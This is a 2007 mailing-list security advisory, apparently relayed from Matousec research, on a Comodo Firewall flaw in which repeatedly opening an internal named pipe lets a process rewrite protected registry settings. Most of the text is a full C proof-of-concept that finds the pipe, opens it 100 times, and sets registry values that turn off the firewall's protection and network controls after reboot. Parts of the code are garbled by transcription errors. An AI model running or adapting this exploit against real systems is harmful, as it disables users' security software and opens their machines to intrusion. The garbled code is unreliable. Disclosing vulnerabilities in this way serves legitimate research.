

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00000.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 1 Mar 2007 13:31:40 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

SUMMARY

A vulnerability in Comodo Firewall allows a specially crafted request sent to a pipe used by the product to be used to bypass the protection mechanism of the product.

DETAILS

Vulnerable software:

- * Comodo Firewall Pro version 2.4.18.184
 - * Comodo Firewall Pro version 2.4.17.183
 - * Comodo Firewall Pro version 2.4.16.174
 - * Comodo Personal Firewall version 2.3.6.81
- probably all older versions of Comodo Personal Firewall 2
possibly older versions of Comodo Personal Firewall

Comodo Firewall Pro (former Comodo Personal Firewall) stores some of its internal settings in the registry key HKLM\SYSTEM\Software\Comodo\Personal Firewall. This key is protected by Comodo drivers such that other applications are not able to change the settings. This protection can be bypassed if very special conditions are

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

met. CFP internally uses a named pipe, which name varies, but can be always determined. A process that opens this pipe many times is able to manipulate the protected settings of CFP. A proper modification of the settings will disable all protection mechanisms implemented by CFP after a reboot.

Exploit:

```
/*
```

Testing program for Bypassing settings protection using magic pipe (BTP00001P005CF)

Usage:

prog
(the program is executed without special arguments)

Description:

This program finds a specific named pipe that belongs to CPF and opens and closes it many times. This weird behaviour allows this program to modify protected settings of CPF that are stored in the registry key "HKLM\SYSTEM\Software\Comodo".

Test:

Running the testing program and restarting the system.

```
*/
```

```
#undef __STRICT_ANSI__
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>
#include <ddk/ntapi.h>
#include <ddk/ntifs.h>
```

```
void about(void)
{
printf("Testing program for Bypassing settings protection using magic
pipe (BTP00001P005CF)\n");
printf("Windows Personal Firewall Analysis project\n");
printf("Copyright 2007 by Matousec – Transparent security\n");
printf("http://www.matousec.com/""\n\n");
return;
}
```

```
void usage(void)
{
printf("Usage: test\n"
```

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

" (the program is executed without special arguments)\n"):

return:

}

void print_last_error(void)

{

LPTSTR buf;

DWORD code=GetLastError();

if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|

FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))

{

fprintf(stderr,"Error code: %ld\n",code);

fprintf(stderr,"Error message: %s",buf);

LocalFree(buf);

} else fprintf(stderr,"Unable to format error message for code

%ld.\n",code);

return;

}

/*

this function returns pointer to a copy of the system table of the given
class

the memory for a copy is newly allocated and must be freed

if the function failes the return value is NULL

*/

PVOID get_info_table(DWORD class)

{

PVOID info;

DWORD info_size=0x1000;

for (::)

{

info_size=2*info_size;

info=malloc(info_size);

if (!info) break;

NTSTATUS ret=ZwQuerySystemInformation(class,info,info_size,NULL);

if (NT_SUCCESS(ret)) break;

free(info);

info=NULL;

if (ret!=STATUS_INFO_LENGTH_MISMATCH) break;

}

return info;

}

typedef struct SYSTEM_HANDLE_INFORMATION_BUFFER

{

DWORD HandleCount;

SYSTEM_HANDLE_INFORMATION HandleInfo[0];

} SYSTEM_HANDLE_INFORMATION_BUFFER,*PSYSTEM_HANDLE_INFORMATION_BUFFER;

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

```
/*  
this function returns pointer to a copy of the system handle table  
if the function failed the return value is NULL  
otherwise the caller must free the memory  
*/  
  
PSYSTEM_HANDLE_INFORMATION_BUFFER get_handle_table(void)  
{  
return get_info_table(SystemHandleInformation);  
}  
  
/*  
set registry DWORD value changes registry value of under key\subkey  
returns FALSE if fails, TRUE otherwise  
*/  
  
int set_reg_dw_value(HKEY key,char *subkey,char *vname,DWORD value)  
{  
int res=FALSE;  
  
HKEY hkey;  
LONG  
ret=RegCreateKeyEx(key,subkey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_SET_VALUE,NULL,&hkey,NU  
if (ret==ERROR_SUCCESS)  
{  
ret=RegSetValueEx(hkey,vname,0,REG_DWORD,(BYTE*)&value,sizeof(value));  
if (ret==ERROR_SUCCESS)  
{  
printf("Registry value \"%s\" was modified in  
\"%s\".\n",vname,subkey);  
res=TRUE;  
} else fprintf(stderr,"Unable to change registry value \"%s\" in  
\"%s\".\n",vname,subkey);  
RegCloseKey(hkey);  
} else fprintf(stderr,"Unable to open registry key \"%s\".\n",subkey);  
if (!res)  
{  
SetLastError(ret);  
print_last_error();  
}  
return res;  
}  
  
/*  
enable_privilege adds privilege to own token  
returns TRUE if succeed  
*/
```

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

```
int enable_privilege(char *priv_name)
{
DWORD res=0;
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES privs;

if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |
TOKEN_QUERY,&tok)) return 0;
if (LookupPrivilegeValue(NULL,priv_name,&luid))
{
privs.PrivilegeCount=1;
privs.Privileges[0].Luid=luid;
privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
DWORD ret_len;

res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
CloseHandle(tok);
}
return res;
}

/*
enable_debug_privilege adds debug privilege to own token
returns TRUE if succeed
*/

int enable_debug_privilege(void)
{
return enable_privilege(SE_DEBUG_NAME);
}

int main(int argc,char **argv)
{
about();

if (argc!=1)
{
usage();
return 1;
}

PSYSTEM_HANDLE_INFORMATION_BUFFER handle_table=get_handle_table();
if (!handle_table)
{
fprintf(stderr,"Unable to obtain the system handle table.\n");
printf("\nTEST FAILED!\n");
return 1;
}
}
```

```
HANDLE syspr=NULL;  
DWORD syspid=0;  
HANDLE shot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  
  
if (shot==INVALID_HANDLE_VALUE)  
{  
fprintf(stderr,"Unable to create toolhelp snapshot.\n");  
print_last_error();  
fprintf(stderr,"\n");  
printf("\nTEST FAILED!\n");  
return 1;  
}  
  
PROCESSENTRY32 pe;  
  
pe.dwSize=sizeof(pe);  
  
if (!Process32First(shot,&pe))  
{  
CloseHandle(shot);  
fprintf(stderr,"Unable to enumerate processes.\n");  
print_last_error();  
fprintf(stderr,"\n");  
printf("\nTEST FAILED!\n");  
return 1;  
}  
  
enable_debug_privilege();  
do  
{  
if (strcmp(pe.szExeFile,"System")) continue;  
  
syspid=pe.th32ProcessID;  
printf("System process found, PID = %ld.\n",syspid);  
  
syspr=OpenProcess(PROCESS_DUP_HANDLE,FALSE,pe.th32ProcessID);  
break;  
} while (Process32Next(shot,&pe));  
  
CloseHandle(shot);  
  
if (!syspr)  
{  
fprintf(stderr,"Unable to find or open system process.\n");  
print_last_error();  
fprintf(stderr,"\n");  
printf("\nTEST FAILED!\n");  
return 1;  
}
```

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

```
int pipefound=FALSE;
char pipename[128]="";
for (int i=0;i<handle_table->HandleCount;i++)
{
PSYSTEM_HANDLE_INFORMATION handle=&handle_table->HandleInfo[i];
if (handle->ProcessId==syspid)
{
HANDLE dup_handle;
HANDLE org_handle=(HANDLE)(LONG)handle->Handle;
if
(DuplicateHandle(syspr.org_handle,GetCurrentProcess(),&dup_handle,0,FALSE,DUPLICATE_SAME_ACCESS))
{
char buffer[2048];
OBJECT_NAME_INFORMATION info=(PVOID)buffer;
NTSTATUS
status=ZwQueryObject(dup_handle,ObjectNameInformation,buffer,sizeof(buffer),NULL);
if (NT_SUCCESS(status))
{
char name[512];
memset(name,0,sizeof(name));
PUNICODE_STRING uni_name=&info->Name;
ANSI_STRING ansi_name={0,512,name};
RtlUnicodeStringToAnsiString(&ansi_name,uni_name,FALSE);
char *pat="\\Device\\NamedPipe\\OLE";
if (!strnicmp(name,pat,strlen(pat)))
{
strncpy(pipename,name,128);
pipename[127]='\0';
pipefound=TRUE;
printf("Pipe found! Pipe name = \"%s\".\n",name);
}
}
}
}
}

CloseHandle(syspr);
free(handle_table);
if (!pipefound)
{
fprintf(stderr,"Unable to find magic pipe.\n");
printf("\nTEST FAILED!\n");
return 1;
}
printf("\n");
char *name=pipename;

ANSI_STRING ansiname;
UNICODE_STRING uniname;
RtlInitAnsiString(&ansiname,name);
```

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

```
if (NT_SUCCESS(RtlAnsiStringToUnicodeString(&uname,&ansiname,TRUE)))
{
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa,&uname,OBJ_CASE_INSENSITIVE,0,NULL);
for (int i=0;i<100;i++)
{
HANDLE file=NULL;
IO_STATUS_BLOCK iosb;

NTSTATUS
status=ZwOpenFile(&file,FILE_READ_ACCESS,&oa,&iosb,FILE_SHARE_READ |
FILE_SHARE_WRITE | FILE_SHARE_DELETE,0);
if (NT_SUCCESS(status)) ZwClose(file);
}
RtlFreeUnicodeString(&uname);
}

if (set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall","SecurityLevel",2)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall","ProtectKeys",0)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","Operating",2)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","OperationMode",2)
&&
set reg dw value(HKEY_LOCAL_MACHINE,"SYSTEM\\Software\\Comodo\\Personal
Firewall\\AppCtrl","TcpIn",0)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","TcpOut",0)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpIn",0)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall\\AppCtrl","UdpOut",0)
&& set reg dw value(HKEY_LOCAL_MACHINE,
"SYSTEM\\Software\\Comodo\\Personal Firewall\\NetCtrl","Mode",2))
{
printf("\nTEST SUCCESSFUL!\n");
return 0;
}

printf("\nTEST FAILED!\n");
return 1;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:research@xxxxxxxxxxxxx>>
Matousec – Transparent security Research.

[NT] Comodo Bypassing Settings Protection Using Magic Pipe Vulnerability

The original article can be found at:

<<http://www.matousec.com/info/advisories/Comodo-Bypassing-settings-protection-using-magic-pipe.php>>
<http://www.matousec.com/info/advisories/Comodo-Bypassing-settings-protection-using-magic-pipe.php>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.